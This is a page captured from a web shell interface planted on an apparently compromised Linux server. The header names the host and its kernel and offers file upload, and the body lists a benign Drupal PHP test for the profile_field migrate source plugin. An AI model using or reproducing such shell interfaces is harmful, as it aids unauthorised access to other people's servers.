Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/web/core/modules/user/tests/src/Kernel/Plugin/migrate/source/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/web/core/modules/user/tests/src/Kernel/Plugin/migrate/source/ProfileFieldTest.php

<?php

namespace Drupal\Tests\user\Kernel\Plugin\migrate\source;

use Drupal\Tests\migrate\Kernel\MigrateSqlSourceTestBase;

/**
 * Tests the profile_field source plugin.
 *
 * @covers \Drupal\user\Plugin\migrate\source\ProfileField
 * @group user
 */
class ProfileFieldTest extends MigrateSqlSourceTestBase {

  /**
   * {@inheritdoc}
   */
  public static $modules = ['user', 'migrate_drupal'];

  /**
   * {@inheritdoc}
   */
  public function providerSource() {
    $tests = [
      [
        'source_data' => [],
        'expected_data' => [],
       ],
    ];

    $profile_fields = [
      [
        'fid' => 1,
        'title' => 'First name',
        'name' => 'profile_first_name',
        'explanation' => 'First name user',
        'category' => 'profile',
        'page' => '',
        'type' => 'textfield',
        'weight' => 0,
        'required' => 1,
        'register' => 0,
        'visibility' => 2,
        'autocomplete' => 0,
        'options' => '',
      ],
      [
        'fid' => 2,
        'title' => 'Last name',
        'name' => 'profile_last_name',
        'explanation' => 'Last name user',
        'category' => 'profile',
        'page' => '',
        'type' => 'textfield',
        'weight' => 0,
        'required' => 0,
        'register' => 0,
        'visibility' => 2,
        'autocomplete' => 0,
        'options' => '',
      ],
      [
        'fid' => 3,
        'title' => 'Policy',
        'name' => 'profile_policy',
        'explanation' => 'A checkbox that say if you accept policy of website',
        'category' => 'profile',
        'page' => '',
        'type' => 'checkbox',
        'weight' => 0,
        'required' => 1,
        'register' => 1,
        'visibility' => 2,
        'autocomplete' => 0,
        'options' => '',
      ],
      [
        'fid' => 4,
        'title' => 'Color',
        'name' => 'profile_color',
        'explanation' => 'A selection that allows user to select a color',
        'category' => 'profile',
        'page' => '',
        'type' => 'selection',
        'weight' => 0,
        'required' => 0,
        'register' => 0,
        'visibility' => 2,
        'autocomplete' => 0,
        'options' => "red\nblue\ngreen",
      ],
    ];

    $tests[0]['source_data']['profile_fields'] = $profile_fields;

    // Profile values are merged with pre-set options of a "selection" field.
    $tests[0]['source_data']['profile_values'] = [
      [
        'fid' => 4,
        'uid' => 1,
        'value' => 'yellow',
      ],
    ];

    // Expected options are:
    //  for "checkbox" fields - array with NULL options
    //  for "selection" fields - options in both keys and values
    $expected_field_options = [
      '',
      '',
      [NULL, NULL],
      [
        'red' => 'red',
        'blue' => 'blue',
        'green' => 'green',
        'yellow' => 'yellow',
      ],
    ];

    $tests[0]['expected_data'] = $profile_fields;

    foreach ($tests[0]['expected_data'] as $delta => $row) {
      $tests[0]['expected_data'][$delta]['options'] = $expected_field_options[$delta];
    }

    return $tests;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net